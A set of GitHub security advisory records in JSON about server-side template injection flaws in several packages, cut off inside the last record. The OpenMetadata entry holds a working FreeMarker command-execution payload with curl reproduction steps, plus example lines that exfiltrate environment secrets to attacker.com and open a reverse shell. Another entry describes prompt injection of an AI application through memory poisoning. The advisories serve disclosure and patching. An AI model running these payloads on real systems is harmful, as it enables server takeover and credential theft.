{
  "affected": [
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "verbb/formie"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "3.1.27"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-52889"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1336"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-07-06T16:52:16Z",
    "nvd_published_at": null,
    "severity": "CRITICAL"
  },
  "details": "## Summary\nFormie Hidden fields could evaluate request-derived values as Twig during front-end form rendering.\n\nWhen a Hidden field used a dynamic default value such as HTTP User Agent, Referer URL, Current URL, Query Parameter, or Cookie Value, the value was copied from the incoming request and later passed to Craft\u2019s Twig rendering layer. This allowed an unauthenticated attacker to provide Twig syntax in request-controlled input and have it evaluated server-side when the form was rendered.\n\n## Affected Versions\n`verbb/formie` for Craft 5:\n- Affected: \u003e= 3.0.0-beta.1, \u003c= 3.1.26\n- Patched: 3.1.27\n\n## Impact\nAn unauthenticated attacker could trigger server-side template evaluation by visiting a public form containing a Hidden field configured with a request-derived default value.\n\nBecause Craft\u2019s normal Twig environment exposes application objects, this may lead to disclosure of sensitive information, modification of application state, or remote code execution depending on the site configuration and available Twig capabilities.\n\n## Technical Details\nThe issue exists in the Hidden field front-end render path. Request-derived Hidden field defaults were assigned to the field\u2019s defaultValue, then rendered via Twig in `Hidden::getFrontEndInputOptions()`.\n\nThe fix ensures Twig rendering is only performed for the custom default option, where the template source is admin-authored. Request-derived default options are now treated as plain strings.\n\n## Patches\nUpdate to Formie 3.1.27 or later.\n\n## Workarounds\nUntil patched, avoid using request-derived Hidden field defaults on public forms, including:\n- HTTP User Agent\n- HTTP Refer URL\n- Current URL\n- Current URL without Query String\n- Query Parameter\n- Cookie Value\n\nAlternatively, remove affected Hidden fields from public forms until the update is applied.\n\n## Credit\nName: Yanchon918s\nEmail: [ao9s@ao9s.net](mailto:ao9s@ao9s.net)",
  "id": "GHSA-565m-g33j-jq96",
  "modified": "2026-07-06T16:52:16Z",
  "published": "2026-07-06T16:52:16Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/verbb/formie/security/advisories/GHSA-565m-g33j-jq96"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/verbb/formie"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Formie Hidden field defaults vulnerable to Server-Side Template Injection"
}

{
  "affected": [],
  "aliases": [
    "CVE-2025-10380"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1336"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-09-23T04:15:46Z",
    "severity": "HIGH"
  },
  "details": "The Advanced Views \u2013 Display Posts, Custom Fields, and More plugin for WordPress is vulnerable to Server-Side Template Injection in all versions up to, and including, 3.7.19. This is due to insufficient input sanitization and lack of access control when processing custom Twig templates in the Model panel. This makes it possible for authenticated attackers, with author-level access or higher, to execute arbitrary PHP code and commands on the server.",
  "id": "GHSA-57cg-6gv7-xf26",
  "modified": "2025-09-23T06:30:26Z",
  "published": "2025-09-23T06:30:26Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-10380"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/browser/acf-views/tags/3.7.19/src/Template_Engines/Twig.php#L106"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/changeset?sfp_email=\u0026sfph_mail=\u0026reponame=\u0026old=3364566%40acf-views\u0026new=3364566%40acf-views\u0026sfp_email=\u0026sfph_mail="
    },
    {
      "type": "WEB",
      "url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/52b04517-f0be-4bbf-818c-70a12d76bfec?source=cve"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [
    {
      "package": {
        "ecosystem": "Maven",
        "name": "org.springframework.ai:spring-ai-client-chat"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.0.7"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Maven",
        "name": "org.springframework.ai:spring-ai-client-chat"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "1.1.0-M1"
            },
            {
              "fixed": "1.1.6"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-41713"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1336"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-18T17:54:15Z",
    "nvd_published_at": "2026-05-12T11:16:19Z",
    "severity": "HIGH"
  },
  "details": "A malicious user could craft input that is stored in conversation memory and later interpreted by the model in an unintended way. Applications using the affected advisor with user-controlled input may be susceptible to manipulation of model behavior across conversation turns.",
  "id": "GHSA-5852-phmh-8fhr",
  "modified": "2026-05-18T17:54:15Z",
  "published": "2026-05-12T12:32:16Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-41713"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/spring-projects/spring-ai"
    },
    {
      "type": "WEB",
      "url": "https://spring.io/security/cve-2026-41713"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:H/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Spring AI: Prompt Injection via Memory Poisoning in PromptChatMemoryAdvisor"
}

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 2.1.3"
      },
      "package": {
        "ecosystem": "PyPI",
        "name": "nonebot2"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.0.0a16"
            },
            {
              "fixed": "2.2.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2024-21624"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1336",
      "CWE-200"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2024-02-09T15:04:08Z",
    "nvd_published_at": "2024-02-09T23:15:08Z",
    "severity": "MODERATE"
  },
  "details": "### Impact\nThis security advisory pertains to a potential information leak (e.g., environment variables) in instances where developers utilize `MessageTemplate` and incorporate user-provided data into templates.\n\n### Patches\nThe identified vulnerability has been remedied in fix #2509 and will be included in versions released after 2.1.3. Users are strongly advised to upgrade to these patched versions to safeguard against the vulnerability.\n\n### Workarounds\nA temporary workaround involves filtering underscores before incorporating user input into the message template.\n\n### References\n- [Pull Request #2509](https://github.com/nonebot/nonebot2/pull/2509)\n- [CWE-1336](https://cwe.mitre.org/data/definitions/1336.html)",
  "id": "GHSA-59j8-776v-xxxg",
  "modified": "2024-02-16T22:31:37Z",
  "published": "2024-02-09T15:04:08Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/nonebot/nonebot2/security/advisories/GHSA-59j8-776v-xxxg"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-21624"
    },
    {
      "type": "WEB",
      "url": "https://github.com/nonebot/nonebot2/pull/2509"
    },
    {
      "type": "WEB",
      "url": "https://github.com/nonebot/nonebot2/commit/b65b3b438c95894654fd9081139989c757bdc6c1"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/nonebot/nonebot2"
    },
    {
      "type": "WEB",
      "url": "https://github.com/pypa/advisory-database/tree/main/vulns/nonebot2/PYSEC-2024-37.yaml"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "NoneBot Potential Information Leak in User-Constructed Message Templates"
}

{
  "affected": [
    {
      "package": {
        "ecosystem": "Maven",
        "name": "org.open-metadata:platform"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.11.4"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-22244"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1336"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-01-07T19:33:03Z",
    "nvd_published_at": "2026-01-08T16:16:02Z",
    "severity": "HIGH"
  },
  "details": "# OpenMetadata RCE Vulnerability - Proof of Concept\n\n## Executive Summary\n\n**CRITICAL Remote Code Execution vulnerability** confirmed in OpenMetadata v1.11.2 via **Server-Side Template Injection (SSTI)** in FreeMarker email templates.\n\n## Credit\n- @lnlinh31, @satthusaosan, @TheMacCuoi, @get-wright, @Ohnooo1234, @hienduc14 \u2013 FPT Cloud AppSec Research Team, FPT Smart Cloud\n\n## Vulnerability Details\n\n### 1. Root Cause\n\nFile: `openmetadata-service/src/main/java/org/openmetadata/service/util/DefaultTemplateProvider.java`\n\n**Lines 35-45** contain unsafe FreeMarker template instantiation:\n\n```java\npublic Template getTemplate(String templateName) throws IOException {\n    EmailTemplate emailTemplate = documentRepository.fetchEmailTemplateByName(templateName);\n    String template = emailTemplate.getTemplate(); // \u2190 USER-CONTROLLED CONTENT FROM DATABASE\n    \n    if (nullOrEmpty(template)) {\n        throw new IOException(\"Template content not found for template: \" + templateName);\n    }\n    \n    return new Template(\n        templateName, \n        new StringReader(template),  // \u2190 RENDERS UNTRUSTED TEMPLATE\n        new Configuration(Configuration.VERSION_2_3_31)); // \u2190 UNSAFE: NO SECURITY RESTRICTIONS!\n}\n```\n\n**Missing Security Controls**:\n- \u274c No `setNewBuiltinClassResolver(TemplateClassResolver.SAFER_RESOLVER)` - Allows arbitrary class instantiation\n- \u274c No `setAPIBuiltinEnabled(false)` - Enables `?api` built-in for reflection\n- \u274c No input validation - Template content not sanitized\n\n### 2. Attack Vector (VERIFIED)\n\n**Step 1**: Attacker with Admin role modifies EmailTemplate via PATCH endpoint\n\n```bash\nPATCH /api/v1/docStore/{templateId}\nAuthorization: Bearer \u003cadmin_jwt_token\u003e\nContent-Type: application/json-patch+json\n\n[\n  {\n    \"op\": \"replace\",\n    \"path\": \"/data/template\",\n    \"value\": \"\u003c#assign ex=\\\"freemarker.template.utility.Execute\\\"?new()\u003e\u003cp\u003eRCE: ${ ex(\\\"whoami\\\") }\u003c/p\u003e\"\n  }\n]\n```\n\n**Step 2**: Malicious template stored in MySQL database:\n\n```sql\nSELECT name, JSON_EXTRACT(json, \u0027$.data.template\u0027) \nFROM docstore \nWHERE name = \u0027account-activity-change\u0027;\n\n-- Returns: \u003c#assign ex=\\\"freemarker.template.utility.Execute\\\"?new()\u003e...\n```\n\n**Step 3**: Trigger template rendering via email notification:\n- Password change\n- User invitation\n- Account activity notification\n- Test email (if SMTP configured)\n\n**Step 4**: RCE execution in `DefaultTemplateProvider.getTemplate()`:\n\n```java\nTemplate template = templateProvider.getTemplate(\"account-activity-change\");\ntemplate.process(model, stringWriter); // \u2190 COMMAND EXECUTES HERE AS SERVER USER!\n```\n\n---\n\n## Exploit Verification\n\n### Environment\n\n- **Version**: OpenMetadata 1.11.2 (Latest)\n- **Platform**: Docker Compose (MySQL 8.0 + Elasticsearch 8.11.4)\n- **Test Date**: December 15, 2025\n\n### Step-by-Step Reproduction\n\n#### 1. Deploy OpenMetadata 1.11.2\n\n```bash\ncd docker\n./run_local_docker.sh -m no-ui -d mysql\n```\n\n**Result**: \u2705 OpenMetadata running on localhost:8585\n\n#### 2. Obtain Admin JWT Token\n\n```bash\nexport NO_PROXY=localhost,127.0.0.1\nTOKEN=$(curl -s -X POST http://localhost:8585/api/v1/users/login \\\n  -H \"Content-Type: application/json\" \\\n  -d \u0027{\"email\":\"admin@open-metadata.org\",\"password\":\"YWRtaW4=\"}\u0027 \\\n  | grep -o \u0027\"accessToken\":\"[^\"]*\u0027 | cut -d\u0027\"\u0027 -f4)\n\necho \"Token: ${TOKEN:0:50}...\"\n```\n\n**Result**: \u2705 Token obtained (654 characters, 1-hour expiry)\n\n#### 3. Identify Target Template\n\n```bash\n# Get testMail template ID (used by test email endpoint)\ncurl -s \"http://localhost:8585/api/v1/docStore?entityType=EmailTemplate\" \\\n  -H \"Authorization: Bearer $TOKEN\" \\\n  | jq -r \u0027.data[] | select(.name==\"testMail\") | .id\u0027\n```\n\n**Result**: \u2705 Template ID: `855f58c6-1b80-467a-b92e-71c425e9bfdb`\n\n#### 4. Inject RCE Payload\n\n```bash\ncurl -X PATCH \"http://localhost:8585/api/v1/docStore/855f58c6-1b80-467a-b92e-71c425e9bfdb\" \\\n  -H \"Content-Type: application/json-patch+json\" \\\n  -H \"Authorization: Bearer $TOKEN\" \\\n  -d \u0027[{\n    \"op\": \"replace\",\n    \"path\": \"/data/template\",\n    \"value\": \"\u003c#assign ex=\\\"freemarker.template.utility.Execute\\\"?new()\u003eRCE OUTPUT: ${ex(\\\"whoami\\\")} - ${ex(\\\"pwd\\\")}\"\n  }]\u0027\n```\n\n**Result**: \u2705 **HTTP 200 OK** - Template modified successfully\n\n**Response Excerpt**:\n```json\n{\n  \"id\": \"855f58c6-1b80-467a-b92e-71c425e9bfdb\",\n  \"name\": \"testMail\",\n  \"entityType\": \"EmailTemplate\",\n  \"data\": {\n    \"template\": \"\u003c#assign ex=\\\"freemarker.template.utility.Execute\\\"?new()\u003eRCE OUTPUT: ${ex(\\\"whoami\\\")} - ${ex(\\\"pwd\\\")}\"\n  },\n  \"changeDescription\": {\n    \"fieldsUpdated\": [\n      {\n        \"name\": \"data\",\n        \"oldValue\": \"{\\\"template\\\":\\\"\u003c!DOCTYPE HTML ...ORIGINAL_TEMPLATE...\\\"}\",\n        \"newValue\": \"{\\\"template\\\":\\\"\u003c#assign ex=\\\\\\\"freemarker.template.utility.Execute\\\\\\\"?new()\u003eRCE OUTPUT: ${ex(\\\\\\\"whoami\\\\\\\")} - ${ex(\\\\\\\"pwd\\\\\\\")}\\\"}\"\n      }\n    ]\n  }\n}\n```\n\n#### 5. Setup SMTP Server\n\n```bash\n# Start MailDev SMTP server (catches emails for verification)\ndocker run -d --name fakesmtp \\\n  --network linhln31_default \\\n  -p 1025:1025 -p 1080:1080 \\\n  maildev/maildev:latest\n\n# Update OpenMetadata SMTP configuration\ndocker exec om_mysql mysql -uopenmetadata_user -popenmetadata_password \\\n  -Dopenmetadata_db -e \"UPDATE openmetadata_settings \n  SET json=JSON_SET(json, \n    \u0027$.serverEndpoint\u0027, \u0027fakesmtp\u0027, \n    \u0027$.serverPort\u0027, 1025, \n    \u0027$.transportationStrategy\u0027, \u0027SMTP\u0027,\n    \u0027$.enableSmtpServer\u0027, true,\n    \u0027$.senderMail\u0027, \u0027noreply@openmetadata.org\u0027\n  ) \n  WHERE configType=\u0027emailConfiguration\u0027;\"\n\n# Restart OpenMetadata to load new SMTP config\ndocker restart om_server\nsleep 50  # Wait for server startup\n```\n\n**Result**: \u2705 SMTP server ready at fakesmtp:1025\n\n#### 6. Trigger RCE Execution\n\n```bash\ncurl -X PUT \"http://localhost:8585/api/v1/system/email/test\" \\\n  -H \"Content-Type: application/json\" \\\n  -H \"Authorization: Bearer $TOKEN\" \\\n  -d \u0027{\"email\":\"test@test.com\"}\u0027\n```\n\n**Result**: \u2705 **HTTP 200 OK** - \"Test Email Sent Successfully.\"\n\n#### 7. Verify RCE Execution\n\n```bash\n# Check email content in MailDev\ndocker exec fakesmtp cat /tmp/maildev-1/*.eml | tail -10\n```\n\n**Result**: \u2705 **RCE CONFIRMED!**\n\n**Email Content**:\n```\nDate: Mon, 15 Dec 2025 17:03:20 +0000 (GMT)\nFrom: noreply@openmetadata.org\nTo: test@test.com\nMessage-ID: \u003c1307498173.2.1765818200564@62a9f8b5b6f2\u003e\nSubject: OpenMetadata : Test Email\nMIME-Version: 1.0\nContent-Type: text/html; charset=\"UTF-8\"\nContent-Transfer-Encoding: quoted-printable\n\nRCE OUTPUT: openmetadata\n - /opt/openmetadata\n```\n\n**Command Execution Proof**:\n- \u2705 `whoami` command executed \u2192 returned `openmetadata`\n- \u2705 `pwd` command executed \u2192 returned `/opt/openmetadata`\n- \u2705 Commands ran as server process user\n- \u2705 Full arbitrary command execution achieved\n\n---\n\n## Attack Scenarios\n\n### Scenario 1: Privilege Escalation\n\n1. Attacker compromises Admin account (phishing, credential stuffing, etc.)\n2. Injects RCE payload into `password-reset` template\n3. Triggers password reset for target user\n4. RCE executes as OpenMetadata server user during email rendering\n5. Attacker gains shell access to application server\n\n### Scenario 2: Data Exfiltration\n\n```freemarker\n\u003c#assign ex=\"freemarker.template.utility.Execute\"?new()\u003e\n${ex(\"cat /proc/self/environ | curl -X POST https://attacker.com/exfil -d @-\")}\n```\n\nExfiltrates environment variables containing:\n- Database credentials\n- API keys and secrets\n- JWT signing keys\n- Cloud provider credentials\n\n### Scenario 3: Reverse Shell\n\n```freemarker\n\u003c#assign ex=\"freemarker.template.utility.Execute\"?new()\u003e\n${ex(\"bash -c \u0027bash -i \u003e\u0026 /dev/tcp/attacker.com/4444 0\u003e\u00261\u0027\")}\n```\n\nEstablishes persistent access for:\n- Interactive command execution\n- Lateral movement to connected systems\n- Database direct access\n- Kubernetes cluster compromise (if containerized)\n\n---\n\n## Impact Assessment\n\n### Technical Impact\n\n- **Confidentiality**: **HIGH** - Access to database credentials, API keys, secrets\n- **Integrity**: **HIGH** - Full control over OpenMetadata application and data\n- **Availability**: **HIGH** - Ability to crash application, delete data, deny service\n\n### Business Impact\n\n- **Data Breach**: Access to all metadata including sensitive schema information, PII mappings, data lineage\n- **Compliance**: GDPR, SOC2, HIPAA violations if exploited\n- **Reputation**: Critical security failure in data governance platform\n- **Supply Chain**: Potential pivot to connected data sources (70+ connectors)\n\n### CVSS 3.1 Score\n\n```\nCVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H\n```\n\n- **Attack Vector (AV)**: Network (N)\n- **Attack Complexity (AC)**: Low (L) - Simple API requests\n- **Privileges Required (PR)**: High (H) - Admin role required\n- **User Interaction (UI)**: None (N)\n- **Scope (S)**: Changed (C) - Impacts beyond application (server OS)\n- **Confidentiality (C)**: High (H)\n- **Integrity (I)**: High (H)\n- **Availability (A)**: High (H)\n\n**Score**: **9.1 (CRITICAL)**\n\n---\n\n## Remediation\n\n### Immediate Fix (CRITICAL)\n\n**File**: `openmetadata-service/src/main/java/org/openmetadata/service/util/DefaultTemplateProvider.java`\n\n**Replace lines 38-42 with:**\n\n```java\npublic Template getTemplate(String templateName) throws IOException {\n    EmailTemplate emailTemplate = documentRepository.fetchEmailTemplateByName(templateName);\n    String template = emailTemplate.getTemplate();\n    \n    if (nullOrEmpty(template)) {\n        throw new IOException(\"Template content not found for template: \" + templateName);\n    }\n    \n    // SECURITY FIX: Create sandboxed FreeMarker configuration\n    Configuration cfg = new Configuration(Configuration.VERSION_2_3_31);\n    \n    // Block dangerous built-ins\n    cfg.setNewBuiltinClassResolver(TemplateClassResolver.SAFER_RESOLVER);\n    cfg.setAPIBuiltinEnabled(false);\n    cfg.setClassicCompatible(false);\n    \n    // Restrict template loading\n    cfg.setTemplateLoader(new StringTemplateLoader());\n    \n    return new Template(templateName, new StringReader(template), cfg);\n}\n```\n---",
  "id": "GHSA-5f29-2333-h9c7",
  "modified": "2026-01-20T18:02:42Z",
  "published": "2026-01-07T19:33:03Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/open-metadata/OpenMetadata/security/advisories/GHSA-5f29-2333-h9c7"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-22244"
    },
    {
      "type": "WEB",
      "url": "https://github.com/open-metadata/OpenMetadata/commit/bffe7c45807763f9b682021d4211c478d2a08bb3"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/open-metadata/OpenMetadata"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H/E:P",
      "type": "CVSS_V4"
    }
  ],
  "summary": "OpenMetadata\u0027s Server-Side Template Injection (SSTI) in FreeMarker email templates leads to RCE"
}

{
  "affected": [
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "craftcms/cms"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "5.0.0-RC1"
            },
            {
              "fixed": "5.9.0-beta.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "craftcms/cms"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "4.0.0-RC1"
            },
            {
              "fixed": "4.17.0-beta.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-28783"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1336",
      "CWE-184",
      "CWE-94"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-03-03T21:01:27Z",
    "nvd_published_at": "2026-03-04T17:16:21Z",
    "severity": "MODERATE"
  },
  "details": "Craft CMS implements a blocklist to prevent potentially dangerous PHP functions from being called via Twig non-Closure arrow functions.\n\nIn order to be able to successfully execute this attack, you need to either have `allowAdminChanges` enabled on production, or a compromised admin account, or an account with access to the System Messages utility.\n\nSeveral PHP functions are not included in the blocklist, which could allow malicious actors with the required permissions to execute various types of payloads, including RCEs, arbitrary file reads, SSRFs, and SSTIs.\n\nTwig has already deprecated this behavior, and it will eventually be removed from Twig altogether.\n\nhttps://github.com/twigphp/Twig/blob/946ddeafa3c9f4ce279d1f34051af041db0e16f2/src/Extension/CoreExtension.php#L2096\n\nThis has been resolved in Craft 4.17.0 and 5.9.0, which removes the blocklist and disables all non-Clousure arrow functions in Twig globally via the `enableTwigSandbox` config setting. That setting is enabled by default on all new Craft projects. Existing Craft projects will need to enable the config setting to take advantage of it.\n\nExisting projects should update to the patched versions of 5.9.0 and 4.17.0 to mitigate the issue and enable the config setting.\n\n## Resources\n\nhttps://github.com/craftcms/cms/pull/18208",
  "id": "GHSA-5fvc-7894-ghp4",
  "modified": "2026-03-04T18:39:13Z",
  "published": "2026-03-03T21:01:27Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/craftcms/cms/security/advisories/GHSA-5fvc-7894-ghp4"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-28783"
    },
    {
      "type": "WEB",
      "url": "https://github.com/craftcms/cms/pull/18208"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/craftcms/cms"
    },
    {
      "type": "WEB",
      "url": "https://github.com/twigphp/Twig/blob/946ddeafa3c9f4ce279d1f34051af041db0e16f2/src/Extension/CoreExtension.php#L2096"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:U",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Craft CMS has Twig Function Blocklist Bypass"
}

{
  "affected": [
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "bagisto/bagisto"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2.3.10"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-21448"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1336"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-01-02T22:13:40Z",
    "nvd_published_at": "2026-01-02T21:15:59Z",
    "severity": "HIGH"
  },
  "details": "### Summary\nSSTI when normal customer orders any product in add address step can inject value run in admin view.\n### Details\n`As normal user`\n1. Go to `http://127.0.0.1:8000/`\n2. Add order to cart and continue to checkout \n3. In step of add address inject this value {{7*7}} in any input\n\n`As admin`\n1. Go to `http://127.0.0.1:8000/admin/sales/orders`\n2. And notice the vlaue appear in admin view 49\n\n`As normal user`\n3. Go to add address normally `http://127.0.0.1:8000/customer/account/addresses/create` and inject {{7*7}} on it and will notice it appear 49\n\u003cimg width=\"1868\" height=\"868\" alt=\"image\" src=\"https://github.com/user-attachments/assets/279627e9-6361-4d39-a500-0fc20e163d25\" /\u003e\n\n\n### PoC\n - Video attached with the report:  https://github.com/user-attachments/assets/a814b30c-a3e2-4a40-8644-336e21e60d0d\n\n\n### Impact\n- Can lead to RCE",
  "id": "GHSA-5j4h-4f72-qpm6",
  "modified": "2026-01-08T21:35:56Z",
  "published": "2026-01-02T22:13:40Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/bagisto/bagisto/security/advisories/GHSA-5j4h-4f72-qpm6"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-21448"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/bagisto/bagisto"
    },
    {
      "type": "WEB",
      "url": "https://github.com/bagisto/bagisto/releases/tag/v2.3.10"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:P",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Bagisto has Normal \u0026 Blind SSTI from low-privilege user when ordering product"
}

{
  "affected": [],
  "aliases": [
    "CVE-2025-66438"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1336",
      "CWE-94"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-12-15T18:15:48Z",
    "severity": "CRITICAL"
  },
  "details": "A Server-Side Template Injection (SSTI) vulnerability exists in the Frappe ERPNext through 15.89.0 Print Format rendering mechanism. Specifically, the API frappe.www.printview.get_html_and_style() triggers the rendering of the html field inside a Print Format document using frappe.render_template(template, doc) via the get_rendered_template() call chain. Although ERPNext wraps Jinja2 in a SandboxedEnvironment, it exposes sensitive functions such as frappe.db.sql through get_safe_globals(). An authenticated attacker with permission to create or modify a Print Format can inject arbitrary Jinja expressions into the html field. Once the malicious Print Format is saved, the attacker can call get_html_and_style() with a target document (e.g., Supplier or Sales Invoice) to trigger the render process. This leads to information disclosure from the database, such as database version, schema details, or sensitive values, depending on the injected payload. Exploitation flow: Create a Print Format with SSTI payload in the html field; call the get_html_and_style() API; triggers frappe.render_template(template, doc) inside get_rendered_template(); leaks database information via frappe.db.sql or other exposed globals.",
  "id": "GHSA-5x94-7mhw-9ff6",
  "modified": "2025-12-16T15:30:32Z",
  "published": "2025-12-15T18:30:40Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-66438"
    },
    {
      "type": "WEB",
      "url": "https://iamanc.github.io/post/erpnext-ssti-bug-5"
    },
    {
      "type": "WEB",
      "url": "https://www.notion.so/SSTI-bug-5-239e6086eadc80a48f17c1257a604d2c?source=copy_link"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [],
  "aliases": [
    "CVE-2025-46661"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1336",
      "CWE-94"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-04-28T13:15:24Z",
    "severity": "CRITICAL"
  },
  "details": "IPW Systems Metazo through 8.1.3 allows unauthenticated Remote Code Execution because smartyValidator.php enables the attacker to provide template expressions, aka Server-Side Template-Injection. All instances have been patched by the Supplier.",
  "id": "GHSA-65hw-c9g5-r8mm",
  "modified": "2025-04-28T15:31:41Z",
  "published": "2025-04-28T15:31:41Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-46661"
    },
    {
      "type": "WEB",
      "url": "https://code-white.com/public-vulnerability-list"
    },
    {
      "type": "WEB",
      "url": "https://www.ipwsystems.com"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:N",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "flask-reuploaded"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.5.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-27641"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1336",
      "CWE-22"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-02-25T19:06:50Z",
    "nvd_published_at": "2026-02-25T04:16:04Z",
    "severity": "CRITICAL"
  },
